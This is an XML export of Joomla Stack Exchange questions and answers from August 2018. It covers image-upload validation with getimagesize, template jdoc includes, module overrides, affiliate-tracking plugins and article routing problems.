  <row Id="23342" PostTypeId="1" CreationDate="2018-08-24T10:49:46.680" Score="1" ViewCount="988" Body="&lt;p&gt;I am using the below code to validate an image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getimagesize($file['tmp_name'])=== false &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's working fine in php 5.2 (wamp server local), but not working in live website(php 5.6).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;MIME_Content_type&lt;/code&gt; is showing that it's an &lt;code&gt;image/jpeg&lt;/code&gt;, but it's not an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using joomla 3.10&lt;/p&gt;&#xA;" OwnerUserId="12592" LastEditorUserId="12352" LastEditDate="2018-08-24T15:00:00.800" LastActivityDate="2024-03-26T05:06:35.820" Title="getimagesize($file['tmp_name'])=== false is not working in php 5.6" Tags="|joomla-3.x|validation|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23343" PostTypeId="2" ParentId="23342" CreationDate="2018-08-24T12:31:01.283" Score="0" Body="&lt;p&gt;According to PHP documentation, &lt;code&gt;getimagesize()&lt;/code&gt; should not be used to check if file is an image:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This function expects filename to be a valid image file. If a&#xA;  non-image file is supplied, it may be incorrectly detected as an image&#xA;  and the function will return successfully, but the array may contain&#xA;  nonsensical values.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Do not use getimagesize() to check that a given file is a valid image.&#xA;  Use a purpose-built solution such as the &lt;a href=&quot;https://php.net/manual/en/book.fileinfo.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fileinfo&lt;/a&gt; extension instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://secure.php.net/manual/en/function.getimagesize.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://secure.php.net/manual/en/function.getimagesize.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-08-24T12:31:01.283" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23344" PostTypeId="1" CreationDate="2018-08-24T14:18:55.650" Score="0" ViewCount="35" Body="&lt;p&gt;I want to add some data, when user just login and remove this data, when he logout by himself or by the end of lifetime.&#xA;Where is the script of checking lifetime situating?&#xA;Joomla 3.8&lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2018-08-27T10:19:32.867" Title="Checking user lifetime" Tags="|user|login|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23346" PostTypeId="1" CreationDate="2018-08-25T01:21:51.413" Score="1" ViewCount="56" Body="&lt;p&gt;I have a category blog for News. If I click its menu item I'm taken to &lt;code&gt;/news&lt;/code&gt;, and if I then click an article link I'm taken to &lt;code&gt;/news/article-title&lt;/code&gt; as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I also want to show some of that category's articles on the home page, so I've set the home page menu item type to Category Blog, with the category set to News. Now all articles are loaded with home page modules showing, and the URLs are like &lt;code&gt;/article-title&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I have the category blog in both locations but force the original article URLs (and not have home page modules show)? &lt;/p&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2018-11-25T02:03:10.710" Title="How can I duplicate a category blog on the home page but still use the original article URLs?" Tags="|url|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23347" PostTypeId="2" ParentId="16264" CreationDate="2018-08-25T02:12:48.153" Score="0" Body="&lt;p&gt;As at August 2018, Geraint Edwards has released &lt;a href=&quot;https://extensions.joomla.org/browse/new/extension/yoursites-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;YourSites Manager&lt;/a&gt; which is reasonably priced and allows you to administer multiple Joomla websites from a central console including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Checking for Joomla updates&lt;/li&gt;&#xA;&lt;li&gt;Checking for extension updates&lt;/li&gt;&#xA;&lt;li&gt;Initiating a new backup&lt;/li&gt;&#xA;&lt;li&gt;Installing a new extension&lt;/li&gt;&#xA;&lt;li&gt;Applying Joomla updates&lt;/li&gt;&#xA;&lt;li&gt;Applying extension updates&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a demo site so you can try out the extension to make sure it does what you need before purchasing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S1WwJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S1WwJ.png&quot; alt=&quot;YourSites Manager&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-08-25T02:12:48.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23348" PostTypeId="2" ParentId="4211" CreationDate="2018-08-25T08:29:20.027" Score="0" Body="&lt;p&gt;I had the same issue today, I've done the edit and save in Jooma and it just doesn't show in the front end. I clear the cache many times, it doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only when I change the publish date to &quot;today&quot; of the re-editing article and clear the cache again, it works. The front page changes.&lt;/p&gt;&#xA;" OwnerUserId="12831" LastActivityDate="2018-08-25T08:29:20.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23349" PostTypeId="1" AcceptedAnswerId="23350" CreationDate="2018-08-26T17:12:08.530" Score="0" ViewCount="1180" Body="&lt;p&gt;I'm working on the costume Joomla template and I'm overriding the footer I have a menu (footer_menu) when I sit  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;footer_menu&quot; style=&quot;html5&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the index .php the menu appears, but when in, set it in my custom footer it not work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my footer.php : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;footer class=&quot;container shadow p-3 mb-2 bg-white rounded&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;row mt-1&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;                &amp;lt;!-- Menu Footer --&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;footer_menu&quot; style=&quot;html5&quot; /&amp;gt; &#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/footer&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;index.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;&#xA;/** @var JDocumentHtml $this */&#xA;&#xA;$app  = JFactory::getApplication();&#xA;$user = JFactory::getUser();&#xA;$doc = JFactory::getDocument();&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;// Output as HTML5&#xA;$this-&amp;gt;setHtml5(true);&#xA;// Detecting Active Variables&#xA;$option   = $app-&amp;gt;input-&amp;gt;getCmd('option', '');&#xA;$view     = $app-&amp;gt;input-&amp;gt;getCmd('view', '');&#xA;$layout   = $app-&amp;gt;input-&amp;gt;getCmd('layout', '');&#xA;$task     = $app-&amp;gt;input-&amp;gt;getCmd('task', '');&#xA;$itemid   = $app-&amp;gt;input-&amp;gt;getCmd('Itemid', '');&#xA;$sitename = htmlspecialchars($app-&amp;gt;get('sitename'), ENT_QUOTES, 'UTF-8');&#xA;&#xA;if ($task === 'edit' || $layout === 'form')&#xA;{&#xA;    $fullWidth = 1;&#xA;}&#xA;else&#xA;{&#xA;    $fullWidth = 0;&#xA;}&#xA;&#xA;&#xA;// Add template js&#xA;JHtml::_('script', 'template.js', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true));&#xA;&#xA;// Add html5 shiv&#xA;JHtml::_('script', 'jui/html5.js', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true, 'conditional' =&amp;gt; 'lt IE 9'));&#xA;&#xA;// Add Stylesheets&#xA;JHtml::_('stylesheet', 'template.css', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true));&#xA;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;title&amp;gt;Agma Theme&amp;lt;/title&amp;gt;&#xA;        &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&#xA;        &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot; /&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;&#xA;    &amp;lt;body&amp;gt;&#xA;&#xA;        &amp;lt;header class=&quot;container shadow p-3 mb-2 bg-white rounded mt-3 &quot; role=&quot;banner&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;row&quot;&amp;gt;   &#xA;&#xA;                                    &amp;lt;nav class=&quot;nav&quot;&amp;gt;&#xA;                                        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;nav&quot; style=&quot;html5&quot; /&amp;gt; &#xA;                                     &amp;lt;/nav&amp;gt;&#xA;                                 &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;search&quot; style=&quot;html5&quot; /&amp;gt; &#xA;                &amp;lt;/div&amp;gt;             &#xA;&#xA;        &amp;lt;/header&amp;gt;&#xA;&#xA;        &amp;lt;div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;footer&quot; style=&quot;html5&quot; /&amp;gt; &#xA;&#xA;&#xA;&#xA;    &amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12834" LastEditorUserId="12834" LastEditDate="2018-08-26T18:17:06.970" LastActivityDate="2022-09-12T06:08:38.683" Title="jdoc include work just in index.php" Tags="|joomla-3.3.x|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23350" PostTypeId="2" ParentId="23349" CreationDate="2018-08-26T18:29:48.043" Score="0" Body="&lt;p&gt;Using &lt;code&gt;jdoc:include&lt;/code&gt; to include &lt;code&gt;footer.php&lt;/code&gt; won't work. It's used to create module positions. So this code creates a module position called &lt;code&gt;footer&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;footer&amp;quot; style=&amp;quot;html5&amp;quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can now assign modules to &lt;code&gt;footer&lt;/code&gt; position. Note that &lt;code&gt;footer.php&lt;/code&gt; is not loaded in this case. And it's not really needed unless you want to split your template into several files for organizing, reusability, etc.&lt;/p&gt;&#xA;&lt;p&gt;So what you can do is keep it that way, just wrap it with code from &lt;code&gt;footer.php&lt;/code&gt; for styling:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;footer class=&amp;quot;container shadow p-3 mb-2 bg-white rounded&amp;quot;&amp;gt;&#xA;&amp;lt;div class=&amp;quot;row mt-1&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;col&amp;quot;&amp;gt;&#xA;                &amp;lt;!-- Menu Footer --&amp;gt;&#xA;                &amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;footer&amp;quot; style=&amp;quot;html5&amp;quot; /&amp;gt; &#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/footer&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can, of course, change the name of position to &lt;code&gt;footer_menu&lt;/code&gt; or anything else.&lt;/p&gt;&#xA;&lt;p&gt;But if you need to include PHP files inside &lt;code&gt;index.php&lt;/code&gt;, use native &lt;code&gt;include&lt;/code&gt; or &lt;code&gt;require&lt;/code&gt;, e.g.:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;include __DIR__ . '/footer.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2022-09-12T06:08:38.683" LastActivityDate="2022-09-12T06:08:38.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23351" PostTypeId="2" ParentId="23344" CreationDate="2018-08-26T18:38:07.100" Score="2" Body="&lt;p&gt;Content plug-in does not have events for the user the events onUserAfterLogin you want to use can only be used in user, authentication or system plug-in try changing your plug-in to one of these types.&#xA;Each different type of plug-in are used for different situations like system plug-in can be used for all events, but as you are performing some task on user events I will suggest you use User plug-in. Also, go through the different types of plug-in and events related to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastEditorUserId="8987" LastEditDate="2018-08-27T10:19:32.867" LastActivityDate="2018-08-27T10:19:32.867" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23352" PostTypeId="2" ParentId="23346" CreationDate="2018-08-26T23:58:17.040" Score="1" Body="&lt;p&gt;There are a few different methods, but the simplest (and the one that I do) would be to have the category blog at /news and use a category module and load it in an article on the home page.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-08-26T23:58:17.040" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23353" PostTypeId="1" CreationDate="2018-08-27T10:25:02.420" Score="1" ViewCount="176" Body="&lt;p&gt;I'm starting a new Joomla 3. x template and I'm finishing the front page index.php, now the problem is when I go to an article the same page is appears (the front-page) how can I create a custom page for articles like articles.php .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index.php : (lot of code that's why I'm using the link)&#xA;&lt;a href=&quot;https://pastebin.com/qSRpc66U&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/qSRpc66U&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12834" LastEditorUserId="126" LastEditDate="2018-09-26T18:51:18.310" LastActivityDate="2018-09-26T18:51:18.310" Title="Joomla's homepage content displayed instead of the article page" Tags="|joomla-3.x|templates|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23354" PostTypeId="2" ParentId="23353" CreationDate="2018-08-27T13:20:57.220" Score="1" Body="&lt;p&gt;Replace hardcoded HTML content with Joomla code. For example, add this to the main content area to render the component and system messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&#xA;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this to render the head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do not include any other tags within the head. Add tags programmatically instead, e.g. see the code you have on how to include stylesheets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('stylesheet', 'template.css', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do the same for your other stylesheets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;$this-&amp;gt;setHtml5(true);&lt;/code&gt; to set HTML5 mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set metadata with &lt;code&gt;$this-&amp;gt;setMetadata()&lt;/code&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setMetaData('viewport', 'width=device-width, initial-scale=1.0');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, only set global metadata that you want to appear on all pages. Do not add content-specific meta tags such as title or meta description. These are generated dynamically by components.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-08-27T13:27:58.257" LastActivityDate="2018-08-27T13:27:58.257" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23357" PostTypeId="1" CreationDate="2018-08-27T23:47:47.950" Score="1" ViewCount="118" Body="&lt;p&gt;I want my homepage to be like Joomla's administration page, meaning there is only a login form displayed on the page. The hard part is, although it is not hard to make a homepage like this and I can set redirection after login to another page, if a logged in user close their browser tab and reopen the homepage, they will just see the login form which now only displays a &quot;logout&quot; button. I can put a link here for them to get to the other pages, but that is awkward and not a very good behavior. I want it to be just like Joomla's administration page, meaning if you are logged in, when you close and reopen browser tab, you will directly get to the administration panel skipping the login page. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="126" LastEditDate="2018-09-03T19:48:17.143" LastActivityDate="2024-04-05T08:05:15.703" Title="How do I make a login page just like Joomla's backend?" Tags="|joomla-3.x|templates|login|front-end|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23358" PostTypeId="1" CreationDate="2018-08-28T07:59:51.080" Score="1" ViewCount="18" Body="&lt;p&gt;I need to run an alternate header on a single top-level Joomla page.&#xA;From what I can see, unlike Wordpress Joomla doesn't assign an ID to individual pages, making this a pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if I can target the element using javascript or something. Like choosing the base URL of the page and targeting the element on the page? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be better as it would mean I don't have to create an additional include, which would be overridden by the next template update anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance on helping me solve this problem would be really helpful.&lt;/p&gt;&#xA;" OwnerUserId="12487" LastActivityDate="2018-08-28T08:30:12.427" Title="Targeting An Element On a Specific URL" Tags="|php|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23359" PostTypeId="2" ParentId="23358" CreationDate="2018-08-28T08:30:12.427" Score="1" Body="&lt;p&gt;Solved by finding an option in the individual menu item to add a class to the body element. This allowed me to target a specific page.&lt;/p&gt;&#xA;" OwnerUserId="12487" LastActivityDate="2018-08-28T08:30:12.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23360" PostTypeId="1" AcceptedAnswerId="23361" CreationDate="2018-08-28T08:34:31.047" Score="1" ViewCount="383" Body="&lt;p&gt;I want to get the related items of an article order by &lt;code&gt;created&lt;/code&gt; and only show the related items that have the same &lt;code&gt;catid&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To accomplish that i must change the &lt;code&gt;helper.php&lt;/code&gt; code and add this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$catid = JRequest::getInt('catid'); &#xA;if($catid){&#xA;    $query-&amp;gt;where('a.catid='.(int)$catid);&#xA;}&#xA;$query-&amp;gt;order('a.created DESC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem here is, i don't know how to override the &lt;code&gt;helper.php&lt;/code&gt; on my template. I've already tried to create the file &lt;code&gt;templates/&amp;lt;template&amp;gt;/html/mod_related_items/helper.php&lt;/code&gt; and copy the core code to there but it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i accomplish this without editing core code? &lt;/p&gt;&#xA;" OwnerUserId="12508" LastActivityDate="2018-08-28T09:00:54.977" Title="Override helper.php on mod_related_item" Tags="|joomla-3.x|overrides|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23361" PostTypeId="2" ParentId="23360" CreationDate="2018-08-28T09:00:54.977" Score="1" Body="&lt;p&gt;Templates can only override template/layout files. You can fork the module or use a plugin like MVC Override &lt;a href=&quot;https://gruz.ml/en/extensions/mvcoverride.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gruz.ml/en/extensions/mvcoverride.html&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-08-28T09:00:54.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23362" PostTypeId="1" CreationDate="2018-08-28T11:58:06.763" Score="0" ViewCount="28" Body="&lt;p&gt;I am trying to figure out how difficult it would be to create a custom plugin that would identify an affiliate conversion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla &lt;a href=&quot;https://www.joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Event Booking extension&lt;/a&gt; and am looking at implementing Joomla Affiliate Tracker alongside it. Affiliate tracker has a &lt;a href=&quot;https://www.joomlathat.com/affiliate-tracker/custom-tracking-api&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom API&lt;/a&gt; which can be used to track almost anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Events booking does have a default.php file for the booking completion page, the code of which is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;/**&#xA; * @package         Joomla&#xA; * @subpackage      Event Booking&#xA; * @author          Tuan Pham Ngoc&#xA; * @copyright       Copyright (C) 2010 - 2018 Ossolution Team&#xA; * @license         GNU/GPL, see LICENSE.php&#xA; */&#xA;// no direct access&#xA;defined( '_JEXEC' ) or die;&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;eb-registration-complete-page&quot; class=&quot;eb-container&quot;&amp;gt;&#xA;    &amp;lt;h1 class=&quot;eb-page-heading&quot;&amp;gt;&amp;lt;?php echo JText::_('EB_REGISTRATION_COMPLETE'); ?&amp;gt;&#xA;        &amp;lt;?php&#xA;        if ($this-&amp;gt;showPrintButton === '1' &amp;amp;&amp;amp;  !$this-&amp;gt;print)&#xA;        {&#xA;            $uri = JUri::getInstance();&#xA;            $uri-&amp;gt;setVar('tmpl', 'component');&#xA;            $uri-&amp;gt;setVar('print', '1');&#xA;        ?&amp;gt;&#xA;            &amp;lt;div id=&quot;pop-print&quot; class=&quot;btn hidden-print&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo $uri-&amp;gt;toString(); ?&amp;gt;&quot; target=&quot;_blank&quot; title=&quot;&amp;lt;?php echo JText::_('EB_PRINT_THIS_PAGE'); ?&amp;gt;&quot; rel=&quot;nofollow&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;&amp;lt;?php echo $this-&amp;gt;bootstrapHelper-&amp;gt;getClassMapping('icon-print'); ?&amp;gt;&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;        }&#xA;        ?&amp;gt;&#xA;    &amp;lt;/h1&amp;gt;&#xA;    &amp;lt;div id=&quot;eb-message&quot; class=&quot;eb-message&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;message; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;    if ($this-&amp;gt;print)&#xA;    {&#xA;    ?&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            window.print();&#xA;        &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;    }&#xA;    echo $this-&amp;gt;conversionTrackingCode;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have done some minor customisation and overrides before, but was looking for some advice/guidance on whether this would be simple to create? They have quoted me 350EUR for the plugin, which I think is a bit steep. I will continue with my research but was hoping someone could advise whether It would be simple enough to implement something like this rather than pay them such a vast amount, as I'm pretty sure the client would not be willing to pay that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2018-08-28T17:20:55.883" Title="Plugin creation for affiliate tracking" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23363" PostTypeId="1" CreationDate="2018-08-28T13:37:42.473" Score="1" ViewCount="49" Body="&lt;p&gt;When I try to access an article by following a link like this&lt;br&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=9&lt;/code&gt;, the post appears as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I use the link &lt;code&gt;index.php/2-uncategorised/9-assurance&lt;/code&gt;, the front page appears instead of the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my index.php code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($menu-&amp;gt;getActive() == $menu-&amp;gt;getDefault()): ?&amp;gt;&#xA;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;index&quot; style=&quot;html5&quot; /&amp;gt;&#xA;    &amp;lt;?php echo '&amp;lt;h1&amp;gt;Test&amp;lt;/h1&amp;gt;' ; ?&amp;gt;&#xA;&#xA;&amp;lt;?php else:  ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;container shadow p-2 mb-2 bg-white rounded&quot;&amp;gt;&#xA;       &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;           &amp;lt;div class=&quot;col-4&quot;&amp;gt;&amp;lt;img class=&quot;img-fluid rounded &quot; src=&quot;templates/agmaTheme/images/demmanderDevis.jpg&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-8 &quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;shadow-sm bg-light rounded mb-2&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;breadcrumbs&quot;&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;breadcrumbs&quot; style=&quot;html5&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;shadow-sm bg-light rounded p-1&quot;&amp;gt; &#xA;                &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12834" LastEditorUserId="12352" LastEditDate="2018-08-29T18:53:36.987" LastActivityDate="2018-08-31T10:40:13.927" Title="Why doesn't an article appear when following some links?" Tags="|joomla-3.x|articles|weblinks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23365" PostTypeId="2" ParentId="23362" CreationDate="2018-08-28T17:20:55.883" Score="2" Body="&lt;p&gt;I am not much familiar with the Event Bookings code as I didn't got a chance to work on it. For you I can suggest you to check if event booking have triggers in controller which can be called after successfully event booking sale. If it doesn't have such triggers then you will have to,  catch the variables on system Plugin events like onBeforeCompileHead to get request variables such as option, view and task etc depending on the variables set by it... Using them you get your work done for affilate conversion on condition of successful event booked.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2018-08-28T17:20:55.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23366" PostTypeId="2" ParentId="23363" CreationDate="2018-08-28T18:33:59.813" Score="1" Body="&lt;p&gt;&lt;code&gt;index.php/2-uncategorised/9-assurance&lt;/code&gt; resolves to default menu item, therefore the condition &lt;code&gt;$menu-&amp;gt;getActive() == $menu-&amp;gt;getDefault()&lt;/code&gt; is met.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I strongly advise not to hide the component. If you do, any page that resolves to default menu item will not have its content displayed. This will break part of your site's functionality.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-08-28T18:33:59.813" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
